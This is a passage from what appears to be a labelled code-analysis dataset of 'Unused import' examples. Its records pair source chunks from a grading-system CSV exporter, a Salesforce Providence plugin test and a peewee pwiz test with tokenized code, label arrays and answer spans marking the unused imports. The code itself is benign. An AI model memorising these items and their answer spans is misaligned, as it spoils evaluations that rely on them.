"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "delete", "d\\u", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "\"", "Delete", "d", " ", "csv", " ", "files", " ", "%", "s", ".\"_", ",_", "str_", "(_", "delete", "d\\u", "files_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "the", " ", "CSV", " ", "object", " ", "tha", "t", " ", "will", " ", "be", " ", "adde", "d", " ", "to", " ", "the", " ", "database_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "csv_", "=_", "CSV_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "id_", "=_", "csv", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "requester_", "=_", "requester_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "temp", "\\u", "directory_", "=_", "csv", "\\u", "file_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ass", "n_", "=_", "Assignment_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "Object", "Id_", "(_", "assignment_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Grab", " ", "all", " ", "student", " ", "users", " ", "for", " ", "this", " ", "class", "._", "\\u\\u\\uNL\\u\\u\\u_", "users_", "=_", "list_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "User_", "._", "objects_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "account", "\\u", "type_", "=_", "\"", "student", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "classes_", "=_", "ass", "n_", "._", "for", "\\u", "class_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Form", " ", "the", " ", "query_", "\\u\\u\\uNL\\u\\u\\u_", "query_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "assign", "ment", "\"_", ":_", "Object", "Id_", "(_", "assignment_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "most", "\\u", "recent", "\"_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "user", "\\u\\u", "in", "\"_", ":_", "[_", "i_", "._", "id_", "for_", "i_", "in_", "users_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Grab", " ", "the", " ", "most", " ", "recent", " ", "subm", "ission", "s", " ", "from", " ", "each", " ", "user", "._", "\\u\\u\\uNL\\u\\u\\u_", "submissions_", "=_", "list_", "(_", "Submission_", "._", "objects_", "(_", "**_", "query_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "the", " ", "actual", " ", "csv", " ", "file", "._", "\\u\\u\\uNL\\u\\u\\u_", "csv", "\\u", "file_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "config_", "[_", "\"", "CSV", "\\u", "DIRECT", "ORY", "\"_", "]_", ",_", "str_", "(_", "csv", "\\u", "id_", ")_", ")_", ",_", "\"", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "submissions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "score_", "=_", "\"", "Non", "e", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", "._", "test\\u", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "result_", "=_", "Test", "Result_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "i_", "._", "test\\u", "results_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "score_", "=_", "str_", "(_", "test\\u", "result_", "._", "score_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", ">>_", "csv", "\\u", "file_", ",_", "\"%", "s", ",%", "s", ",%", "s", "\"_", "%_", "(_", "i_", "._", "user_", ",_", "score_", ",_", "i_", "._", "timestamp_", "._", "strftime_", "(_", "\"%", "Y", "-%", "m", "-%", "d", "-%", "H", "-%", "M", "-%", "S", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "csv", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "csv_", "._", "file", "\\u", "location_", "=_", "os_", "._", "path_", "._", "join_", "(_", "config_", "[_", "\"", "CSV", "\\u", "DIRECT", "ORY", "\"_", "]_", ",_", "str_", "(_", "csv", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "csv_", "._", "expires_", "=_", "datetime_", "._", "datetime_", "._", "today_", "(_", ")_", "+_", "config_", "[_", "\"", "TE", "ACH", "ER", "\\u", "CSV", "\\u", "LIF", "ETI", "ME", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "csv_", "._", "save_", "(_", "force", "\\u", "insert_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "csv_", "._", "file", "\\u", "location_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "remove_", "(_", "os_", "._", "path_", "._", "join_", "(_", "config_", "[_", "\"", "CSV", "\\u", "DIRECT", "ORY", "\"_", "]_", ",_", "str_", "(_", "csv", "\\u", "id_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "csv_", "._", "error", "\\u", "string_", "=_", "str_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "csv_", "._", "save_", "(_", "force", "\\u", "insert_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
SalesforceEng/Providence/tests/plugins/test_pluginloader_testplugins/debug/main.py
[ { "content": "'''\nCopyright (c) 2015, Salesforce.com, Inc.\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n\n* Neither the name of Salesforce.com nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n'''\n\nimport sys\nimport os.path\nimport json\nfrom plugins import base, RepoWatcher\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Plugin(base.Plugin):\n\n\n", "metadata": "root.Plugin", "header": "['module', '___EOS___']", "index": 20 }, { "content": " def register_watcher(self):\n return [RepoWatcher(self, RepoWatcher.ALL, \"*\")]", "metadata": "root.Plugin.register_watcher", "header": "['class', 'Plugin', '(', 'base', '.', 'Plugin', ')', ':', '___EOS___']", "index": 21 }, { "content": " def commit_started(self, repository_name, repo_commit):\n pass", "metadata": "root.Plugin.commit_started", "header": "['class', 'Plugin', '(', 'base', '.', 'Plugin', ')', ':', '___EOS___']", "index": 24 }, { "content": " def commit_finished(self, repository_name, repo_commit):\n pass", "metadata": "root.Plugin.commit_finished", "header": "['class', 'Plugin', '(', 'base', '.', 'Plugin', ')', ':', '___EOS___']", "index": 27 }, { "content": " def test(self):\n pass", "metadata": "root.Plugin.test", "header": "['class', 'Plugin', '(', 'base', '.', 'Plugin', ')', ':', '___EOS___']", "index": 30 } ]
[ { "span": "import sys", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 10 }, { "span": "import os.path", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 14 }, { "span": "import json", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 11 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "'''", "\\", "10", ";", "Copy", "right", " ", "(", "c", ")", " ", "201", "5", ",", " ", "Sal", "es", "force", ".", "com", ",", " ", "Inc", ".", "\\", "10", ";", "All", " ", "rights", " ", "reserve", "d", ".", "\\", "10", ";", "\\", "10", ";", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out", " ", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", " ", "met", ":", "\\", "10", ";", "\\", "10", ";", "*", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", ".", "\\", "10", ";", "\\", "10", ";", "*", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", " ", "in", " ", "the", " ", "documentation", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with", " ", "the", " ", "distribu", "tion", ".", "\\", "10", ";", "\\", "10", ";", "*", " ", "Nei", "ther", " ", "the", " ", "name", " ", "of", " ", "Sal", "es", "force", ".", "com", " ", "nor", " ", "the", " ", "names", " ", "of", " ", "its", " ", "contributor", "s", " ", "may", " ", "be", " ", "used", " ", "to", " ", "endo", "rse", " ", "or", " ", "promote", " ", "products", " ", "derive", "d", " ", "from", " ", "this", " ", "software", " ", "with", "out", " ", "specific", " ", "prior", " ", "writt", "en", " ", "permissi", "on", ".", "\\", "10", ";", "\\", "10", ";", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS", " ", "\"", "AS", " ", "IS", "\"", " ", "AND", " ", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "THE", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", " ", "ARE", " ", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ER", " ", "OR", " ", "CONTRIB", "UTO", "RS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",", " ", "EXE", "MPL", "ARY", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "(", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "PROC", "URE", "MENT", " ", "OF", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER", " ", "CAU", "SED", " ", "AND", " ", "ON", " ", "ANY", " ", "THE", "ORY", " ", "OF", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "CONTR", "ACT", ",", " ", "STRI", "CT", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T", " ", "(", "INC", "LU", "DING", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")", " ", "ARI", "SIN", "G", " ", "IN", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", " ", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", ".", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "plugins_", "import_", "base_", ",_", "Rep", "o", "Watcher", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Plugin_", "(_", "base_", "._", "Plugin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Plugin_", "(_", "base_", "._", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "register", "\\u", "watcher_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "Rep", "o", "Watcher", "_", "(_", "self_", ",_", "Rep", "o", "Watcher", "_", "._", "ALL_", ",_", "\"*\"_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Plugin_", "(_", "base_", "._", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "commit", "\\u", "started_", "(_", "self_", ",_", "repos", "itor", "y", "\\u", "name_", ",_", "repo", "\\u", "commit_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Plugin_", "(_", "base_", "._", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "commit", "\\u", "finished_", "(_", "self_", ",_", "repos", "itor", "y", "\\u", "name_", ",_", "repo", "\\u", "commit_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Plugin_", "(_", "base_", "._", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
coleifer/peewee/playhouse/tests/test_pwiz.py
[ { "content": "import datetime\nimport os\ntry:\n from StringIO import StringIO\nexcept ImportError:\n from io import StringIO\nimport sys\n\nfrom peewee import *\nfrom pwiz import *\nfrom playhouse.tests.base import database_initializer\nfrom playhouse.tests.base import mock\nfrom playhouse.tests.base import PeeweeTestCase\nfrom playhouse.tests.base import skip_if\n\n\ndb = database_initializer.get_database('sqlite')\n\n\n\n\n\n\nEXPECTED = \"\"\"\nfrom peewee import *\n\ndatabase = SqliteDatabase('/tmp/peewee_test.db', **{})\n\nclass UnknownField(object):\n pass\n\nclass BaseModel(Model):\n class Meta:\n database = database\n\nclass Category(BaseModel):\n name = CharField(unique=True)\n parent = ForeignKeyField(db_column='parent_id', null=True, rel_model='self', to_field='id')\n\n class Meta:\n db_table = 'category'\n\nclass User(BaseModel):\n id = IntegerField()\n username = CharField(primary_key=True)\n\n class Meta:\n db_table = 'user'\n\nclass Note(BaseModel):\n data = IntegerField()\n misc = IntegerField()\n text = TextField(index=True)\n user = ForeignKeyField(db_column='user_id', rel_model=User, to_field='username')\n\n class Meta:\n db_table = 'note'\n indexes = (\n (('user', 'data', 'misc'), False),\n (('user', 'text'), True),\n )\n\"\"\".strip()\n\n\nEXPECTED_ORDERED = \"\"\"\nfrom peewee import *\n\ndatabase = SqliteDatabase('/tmp/peewee_test.db', **{})\n\nclass UnknownField(object):\n pass\n\nclass BaseModel(Model):\n class Meta:\n database = database\n\nclass User(BaseModel):\n username = CharField(primary_key=True)\n id = IntegerField()\n\n class Meta:\n db_table = 'user'\n\nclass Note(BaseModel):\n user = ForeignKeyField(db_column='user_id', rel_model=User, to_field='username')\n text = TextField(index=True)\n data = IntegerField()\n misc = IntegerField()\n\n class Meta:\n db_table = 'note'\n indexes = (\n (('user', 'data', 'misc'), False),\n (('user', 'text'), True),\n )\n\"\"\".strip()\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class BaseModel(Model):\n class Meta:\n database = db", "metadata": "root.BaseModel", "header": "['module', '___EOS___']", "index": 18 }, { "content": "class User(BaseModel):\n username = CharField(primary_key=True)\n id = IntegerField(default=0)", "metadata": "root.User", "header": "['module', '___EOS___']", "index": 22 }, { "content": "class Note(BaseModel):\n user = ForeignKeyField(User)\n text = TextField(index=True)\n data = IntegerField(default=0)\n misc = IntegerField(default=0)\n\n class Meta:\n indexes = (\n (('user', 'text'), True),\n (('user', 'data', 'misc'), False),\n )", "metadata": "root.Note", "header": "['module', '___EOS___']", "index": 26 }, { "content": "class Category(BaseModel):\n name = CharField(unique=True)\n parent = ForeignKeyField('self', null=True)", "metadata": "root.Category", "header": "['module', '___EOS___']", "index": 38 }, { "content": "class capture_output(object):\n", "metadata": "root.capture_output", "header": "['module', '___EOS___']", "index": 42 }, { "content": " def __enter__(self):\n self._stdout = sys.stdout\n sys.stdout = self._buffer = StringIO()\n return self", "metadata": "root.capture_output.__enter__", "header": "['class', 'capture_output', '(', 'object', ')', ':', '___EOS___']", "index": 43 }, { "content": " def __exit__(self, *args):\n self.data = self._buffer.getvalue()\n sys.stdout = self._stdout", "metadata": "root.capture_output.__exit__", "header": "['class', 'capture_output', '(', 'object', ')', ':', '___EOS___']", "index": 48 }, { "content": "class BasePwizTestCase(PeeweeTestCase):\n models = []\n\n", "metadata": "root.BasePwizTestCase", "header": "['module', '___EOS___']", "index": 127 }, { "content": " def setUp(self):\n super(BasePwizTestCase, self).setUp()\n if os.path.exists(db.database):\n os.unlink(db.database)\n db.connect()\n db.create_tables(self.models)\n self.introspector = Introspector.from_database(db)", "metadata": "root.BasePwizTestCase.setUp", "header": "['class', 'BasePwizTestCase', '(', 'PeeweeTestCase', ')', ':', '___EOS___']", "index": 130 }, { "content": " def tearDown(self):\n super(BasePwizTestCase, self).tearDown()\n db.close()", "metadata": "root.BasePwizTestCase.tearDown", "header": "['class', 'BasePwizTestCase', '(', 'PeeweeTestCase', ')', ':', '___EOS___']", "index": 138 }, { "content": "class TestPwiz(BasePwizTestCase):\n models = [User, Note, Category]\n\n", "metadata": "root.TestPwiz", "header": "['module', '___EOS___']", "index": 143 }, { "content": " def test_print_models(self):\n with capture_output() as output:\n print_models(self.introspector)\n\n self.assertEqual(output.data.strip(), EXPECTED)", "metadata": "root.TestPwiz.test_print_models", "header": "['class', 'TestPwiz', '(', 'BasePwizTestCase', ')', ':', '___EOS___']", "index": 146 }, { "content": " def test_print_header(self):\n cmdline = '-i -e sqlite %s' % db.database\n\n with capture_output() as output:\n with mock.patch('pwiz.datetime.datetime') as mock_datetime:\n now = mock_datetime.now.return_value\n now.strftime.return_value = 'February 03, 2015 15:30PM'\n print_header(cmdline, self.introspector)\n\n self.assertEqual(output.data.strip(), (\n '# Code generated by:\\n'\n '# python -m pwiz %s\\n'\n '# Date: February 03, 2015 15:30PM\\n'\n '# Database: %s\\n'\n '# Peewee version: %s') % (cmdline, db.database, peewee_version))", "metadata": "root.TestPwiz.test_print_header", "header": "['class', 'TestPwiz', '(', 'BasePwizTestCase', ')', ':', '___EOS___']", "index": 152 }, { "content": "@skip_if(lambda: sys.version_info[:2] < (2, 7))\nclass TestPwizOrdered(BasePwizTestCase):\n models = [User, Note]\n", "metadata": "root.TestPwizOrdered", "header": "['module', '___EOS___']", "index": 169 }, { "content": " def test_ordered_columns(self):\n with capture_output() as output:\n print_models(self.introspector, preserve_order=True)\n\n self.assertEqual(output.data.strip(), EXPECTED_ORDERED)", "metadata": "root.TestPwizOrdered.test_ordered_columns", "header": "['class', 'TestPwizOrdered', '(', 'BasePwizTestCase', ')', ':', '___EOS___']", "index": 173 } ]
[ { "span": "import datetime", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "String", "IO_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "io_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "peewee", "_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pw", "iz_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "play", "house_", "._", "tests_", "._", "base_", "import_", "databa", "se", "\\u", "initializer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "play", "house_", "._", "tests_", "._", "base_", "import_", "mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "play", "house_", "._", "tests_", "._", "base_", "import_", "Pe", "ew", "ee", "Test", "Case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "play", "house_", "._", "tests_", "._", "base_", "import_", "skip", "\\u", "if_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "=_", "databa", "se", "\\u", "initializer_", "._", "get", "\\u", "database_", "(_", "'", "sql", "ite", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "EXPECT", "ED_", "=_", "\"\"\"", "\\", "10", ";", "from", " ", "peewee", " ", "import", " ", "*", "\\", "10", ";", "\\", "10", ";", "databa", "se", " ", "=", " ", "Sqlite", "Databa", "se", "('", "/", "tmp", "/", "peewee", "\\u", "test", ".", "db", "',", " ", "**", "{})", "\\", "10", ";", "\\", "10", ";", "class", " ", "Un", "know", "n", "Field", "(", "object", "):", "\\", "10", ";", " ", " ", " ", " ", "pass", "\\", "10", ";", "\\", "10", ";", "class", " ", "Base", "Model", "(", "Model", "):", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "Meta", ":", "\\", "10", ";", " ", " ", " ", " ", "databa", "se", " ", "=", " ", "databa", "se", "\\", "10", ";", "\\", "10", ";", "class", " ", "Cate", "gory", "(", "Base", "Model", "):", "\\", "10", ";", " ", " 